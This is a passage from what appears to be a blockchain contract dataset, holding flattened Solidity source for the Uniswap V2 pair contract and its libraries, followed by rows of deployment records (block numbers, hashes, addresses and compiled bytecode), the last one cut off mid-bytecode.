_approve(owner, spender, value);
}
}
// File: contracts/libraries/Math.sol
pragma solidity =0.5.16;
// a library for performing various math operations
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// File: contracts/libraries/UQ112x112.sol
pragma solidity =0.5.16;
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
// File: contracts/interfaces/IERC20.sol
pragma solidity >=0.5.0;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
// File: contracts/interfaces/IUniswapV2Factory.sol
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// File: contracts/interfaces/IUniswapV2Callee.sol
pragma solidity >=0.5.0;
interface IUniswapV2Callee {
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
// File: contracts/UniswapV2Pair.sol
pragma solidity =0.5.16;
contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 {
using SafeMath for uint;
using UQ112x112 for uint224;
uint public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'UniswapV2: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED');
}
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = IUniswapV2Factory(factory).feeTo();
feeOn = feeTo != address(0);
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast));
uint denominator = rootK.mul(5).add(rootKLast);
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20(token0).balanceOf(address(this));
uint balance1 = IERC20(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20(_token0).balanceOf(address(this));
uint balance1 = IERC20(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
} |
1 | 20,290,727 | 14da02b0fc199a29a3385df07a9bcdccb092d7890bd6e897ace31c4a46f80400 | cba3c65b6ac71d90dd09e9fd01a4a205b67cfef9107a1b0fa71c9808c298d3de | be49bd130e126a917ddb5fabf7cdeb6dd9887f40 | 84654be796dad370032391d5479f8f1fd9ddd14e | bb8efec9e307359d2f7772b996aac5011343a8dc | 604080600a3d393df3fe73265c27c849b0e1a62636f6007e8a74dc2a2584aa3d366025573d3d3d3d34865af16031565b363d3d373d3d363d855af45b3d82803e603c573d81fd5b3d81f3 | 73265c27c849b0e1a62636f6007e8a74dc2a2584aa3d366025573d3d3d3d34865af16031565b363d3d373d3d363d855af45b3d82803e603c573d81fd5b3d81f3 | |
1 | 20,290,729 | 244f14cd6af7eb497744d8c72a4a9216f01922cd03a62d46f4117a1440a359f9 | ffe4bd72ac7ff9076a284ea872fe6365973ea5cf41368817edd64e425665c998 | ce3c14f72eeaae361bb8c8bbab80a2f9c0c8c22e | 5c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f | 2a4d60225af4f8eb6cdcc9103f81dc56c1d034b2 | 60806040526001600c5534801561001557600080fd5b506040514690806052612d228239604080519182900360520182208282018252600a8352692ab734b9bbb0b8102b1960b11b6020938401528151808301835260018152603160f81b908401528151808401919091527fbfcc8ef98ffbf7b6c3fec7bf5185b566b9863e35a9d83acd49ad6824b5969738818301527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6606082015260808101949094523060a0808601919091528151808603909101815260c09094019052825192019190912060035550600580546001600160a01b03191633179055612c1d806101056000396000f3fe608060405234801561001057600080fd5b50600436106101b95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a7146105da578063d505accf146105e2578063dd62ed3e14610640578063fff6cae91461067b576101b9565b8063ba9a7a5614610597578063bc25cf771461059f578063c45a0155146105d2576101b9565b80637ecebe00116100d35780637ecebe00146104d757806389afcb441461050a57806395d89b4114610556578063a9059cbb1461055e576101b9565b80636a6278421461046957806370a082311461049c5780637464fc3d146104cf576101b9565b806323b872dd116101665780633644e515116101405780633644e51514610416578063485cc9551461041e5780635909c0d5146104595780635a3d549314610461576101b9565b806323b872dd146103ad57806330adf81f146103f0578063313ce567146103f8576101b9565b8063095ea7b311610197578063095ea7b3146103155780630dfe16811461036257806318160ddd14610393576101b9565b8063022c0d9f146101be57806306fdde03146102595780630902f1ac146102d6575b600080fd5b610257600480360360808110156101d457600080fd5b81359160208101359173ffffffffffffffffffffffffffffffffffffffff604083013516919081019060808101606082013564010000000081111561021857600080fd5b82018360208201111561022a57600080fd5b8035906020019184600183028401116401000000008311171561024c57600080fd5b509092509050610683565b005b610261610d57565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029b578181015183820152602001610283565b50505050905090810190601f1680156102c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102de610d90565b604080516dffffffffffffffffffffffffffff948516815292909316602083015263ffffffff168183015290519081900360600190f35b61034e6004803603604081101561032b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610de5565b604080519115158252519081900360200190f35b61036a610dfc565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61039b610e18565b60408051918252519081900360200190f35b61034e600480360360608110156103c357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610e1e565b61039b610efd565b610400610f21565b6040805160ff9092168252519081900360200190f35b61039b610f26565b6102576004803603604081101561043457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610f2c565b61039b611005565b61039b61100b565b61039b6004803603602081101561047f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611011565b61039b600480360360208110156104b257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113cb565b61039b6113dd565b61039b600480360360208110156104ed57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113e3565b61053d6004803603602081101561052057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113f5565b6040805192835260208301919091528051918290030190f35b610261611892565b61034e6004803603604081101561057457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356118cb565b61039b6118d8565b610257600480360360208110156105b557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166118de565b61036a611ad4565b61036a611af0565b610257600480360360e08110156105f857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611b0c565b61039b6004803603604081101561065657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611dd8565b610257611df5565b600c546001146106f457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55841515806107075750600084115b61075c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b2f6025913960400191505060405180910390fd5b600080610767610d90565b5091509150816dffffffffffffffffffffffffffff168710801561079a5750806dffffffffffffffffffffffffffff1686105b6107ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b786021913960400191505060405180910390fd5b600654600754600091829173ffffffffffffffffffffffffffffffffffffffff91821691908116908916821480159061085457508073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b6108bf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f556e697377617056323a20494e56414c49445f544f0000000000000000000000604482015290519081900360640190fd5b8a156108d0576108d0828a8d611fdb565b89156108e1576108e1818a8c611fdb565b86156109c3578873ffffffffffffffffffffffffffffffffffffffff166310d1e85c338d8d8c8c6040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b505050505b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8416916370a08231916024808301926020929190829003018186803b158015610a2f57600080fd5b505afa158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191955073ffffffffffffffffffffffffffffffffffffffff8316916370a0823191602480820192602092909190829003018186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d6020811015610af557600080fd5b5051925060009150506dffffffffffffffffffffffffffff85168a90038311610b1f576000610b35565b89856dffffffffffffffffffffffffffff160383035b9050600089856dffffffffffffffffffffffffffff16038311610b59576000610b6f565b89856dffffffffffffffffffffffffffff160383035b90506000821180610b805750600081115b610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b546024913960400191505060405180910390fd5b6000610c09610beb84600363ffffffff6121e816565b610bfd876103e863ffffffff6121e816565b9063ffffffff61226e16565b90506000610c21610beb84600363ffffffff6121e816565b9050610c59620f4240610c4d6dffffffffffffffffffffffffffff8b8116908b1663ffffffff6121e816565b9063ffffffff6121e816565b610c69838363ffffffff6121e816565b1015610cd657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f556e697377617056323a204b0000000000000000000000000000000000000000604482015290519081900360640190fd5b5050610ce4848488886122e0565b60408051838152602081018390528082018d9052606081018c9052905173ffffffffffffffffffffffffffffffffffffffff8b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b6040518060400160405280600a81526020017f556e69737761702056320000000000000000000000000000000000000000000081525081565b6008546dffffffffffffffffffffffffffff808216926e0100000000000000000000000000008304909116917c0100000000000000000000000000000000000000000000000000000000900463ffffffff1690565b6000610df233848461259c565b5060015b92915050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610ee85773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054610eb6908363ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff851660009081526002602090815260408083203384529091529020555b610ef384848461260b565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b60055473ffffffffffffffffffffffffffffffffffffffff163314610fb257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f556e697377617056323a20464f5242494444454e000000000000000000000000604482015290519081900360640190fd5b6006805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c5460011461108457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611094610d90565b50600654604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905193955091935060009273ffffffffffffffffffffffffffffffffffffffff909116916370a08231916024808301926020929190829003018186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d602081101561113857600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905192935060009273ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b1580156111b157600080fd5b505afa1580156111c5573d6000803e3d6000fd5b505050506040513d60208110156111db57600080fd5b505190506000611201836dffffffffffffffffffffffffffff871663ffffffff61226e16565b90506000611225836dffffffffffffffffffffffffffff871663ffffffff61226e16565b9050600061123387876126ec565b600054909150806112705761125c6103e8610bfd611257878763ffffffff6121e816565b612878565b985061126b60006103e86128ca565b6112cd565b6112ca6dffffffffffffffffffffffffffff8916611294868463ffffffff6121e816565b8161129b57fe5b046dffffffffffffffffffffffffffff89166112bd868563ffffffff6121e816565b816112c457fe5b0461297a565b98505b60008911611326576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612bc16028913960400191505060405180910390fd5b6113308a8a6128ca565b61133c86868a8a6122e0565b811561137e5760085461137a906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c5460011461146957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611479610d90565b50600654600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905194965092945073ffffffffffffffffffffffffffffffffffffffff9182169391169160009184916370a08231916024808301926020929190829003018186803b1580156114fb57600080fd5b505afa15801561150f573d6000803e3d6000fd5b505050506040513d602081101561152557600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191925060009173ffffffffffffffffffffffffffffffffffffffff8516916370a08231916024808301926020929190829003018186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d60208110156115c357600080fd5b5051306000908152600160205260408120549192506115e288886126ec565b600054909150806115f9848763ffffffff6121e816565b8161160057fe5b049a5080611614848663ffffffff6121e816565b8161161b57fe5b04995060008b11801561162e575060008a115b611683576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612b996028913960400191505060405180910390fd5b61168d3084612992565b611698878d8d611fdb565b6116a3868d8c611fdb565b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8916916370a08231916024808301926020929190829003018186803b15801561170f57600080fd5b505afa158015611723573d6000803e3d6000fd5b505050506040513d602081101561173957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191965073ffffffffffffffffffffffffffffffffffffffff8816916370a0823191602480820192602092909190829003018186803b1580156117ab57600080fd5b505afa1580156117bf573d6000803e3d6000fd5b505050506040513d60208110156117d557600080fd5b505193506117e585858b8b6122e0565b811561182757600854611823906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b604080518c8152602081018c9052815173ffffffffffffffffffffffffffffffffffffffff8f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b6040518060400160405280600681526020017f554e492d5632000000000000000000000000000000000000000000000000000081525081565b6000610df233848461260b565b6103e881565b600c5460011461194f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654600754600854604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff9485169490931692611a2b9285928792611a26926dffffffffffffffffffffffffffff169185916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b505afa158015611a02573d6000803e3d6000fd5b505050506040513d6020811015611a1857600080fd5b50519063ffffffff61226e16565b611fdb565b600854604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611aca9284928792611a26926e01000000000000000000000000000090046dffffffffffffffffffffffffffff169173ffffffffffffffffffffffffffffffffffffffff8616916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b50506001600c5550565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b42841015611b7b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f556e697377617056323a20455850495245440000000000000000000000000000604482015290519081900360640190fd5b60035473ffffffffffffffffffffffffffffffffffffffff80891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e0850182528051908301207f19010000000000000000000000000000000000000000000000000000000000006101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e2808201937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081019281900390910190855afa158015611cdc573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811615801590611d5757508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611dc257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f556e697377617056323a20494e56414c49445f5349474e415455524500000000604482015290519081900360640190fd5b611dcd89898961259c565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c54600114611e6657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611fd49273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d6020811015611f0757600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b158015611f7a57600080fd5b505afa158015611f8e573d6000803e3d6000fd5b505050506040513d6020811015611fa457600080fd5b50516008546dffffffffffffffffffffffffffff808216916e0100000000000000000000000000009004166122e0565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e743235362900000000000000602091820152815173ffffffffffffffffffffffffffffffffffffffff85811660248301526044808301869052845180840390910181526064909201845291810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001781529251815160009460609489169392918291908083835b602083106120e157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016120a4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612143576040519150601f19603f3d011682016040523d82523d6000602084013e612148565b606091505b5091509150818015612176575080511580612176575080806020019051602081101561217357600080fd5b50515b6121e157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f556e697377617056323a205452414e534645525f4641494c4544000000000000604482015290519081900360640190fd5b5050505050565b60008115806122035750508082028282828161220057fe5b04145b610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b80820382811115610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604482015290519081900360640190fd5b6dffffffffffffffffffffffffffff841180159061230c57506dffffffffffffffffffffffffffff8311155b61237757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f556e697377617056323a204f564552464c4f5700000000000000000000000000604482015290519081900360640190fd5b60085463ffffffff428116917c0100000000000000000000000000000000000000000000000000000000900481168203908116158015906123c757506dffffffffffffffffffffffffffff841615155b80156123e257506dffffffffffffffffffffffffffff831615155b15612492578063ffffffff16612425856123fb86612a57565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff169063ffffffff612a7b16565b600980547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff929092169290920201905563ffffffff8116612465846123fb87612a57565b600a80547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909216929092020190555b600880547fffffffffffffffffffffffffffffffffffff0000000000000000000000000000166dffffffffffffffffffffffffffff888116919091177fffffffff0000000000000000000000000000ffffffffffffffffffffffffffff166e0100000000000000000000000000008883168102919091177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c010000000000000000000000000000000000000000000000000000000063ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b73ffffffffffffffffffffffffffffffffffffffff808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040902054612641908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600160205260408082209390935590841681522054612683908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561275757600080fd5b505afa15801561276b573d6000803e3d6000fd5b505050506040513d602081101561278157600080fd5b5051600b5473ffffffffffffffffffffffffffffffffffffffff821615801594509192509061286457801561285f5760006127d86112576dffffffffffffffffffffffffffff88811690881663ffffffff6121e816565b905060006127e583612878565b90508082111561285c576000612813612804848463ffffffff61226e16565b6000549063ffffffff6121e816565b905060006128388361282c86600563ffffffff6121e816565b9063ffffffff612abc16565b9050600081838161284557fe5b04905080156128585761285887826128ca565b5050505b50505b612870565b8015612870576000600b555b505092915050565b600060038211156128bb575080600160028204015b818110156128b5578091506002818285816128a457fe5b0401816128ad57fe5b04905061288d565b506128c5565b81156128c5575060015b919050565b6000546128dd908263ffffffff612abc16565b600090815573ffffffffffffffffffffffffffffffffffffffff8316815260016020526040902054612915908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35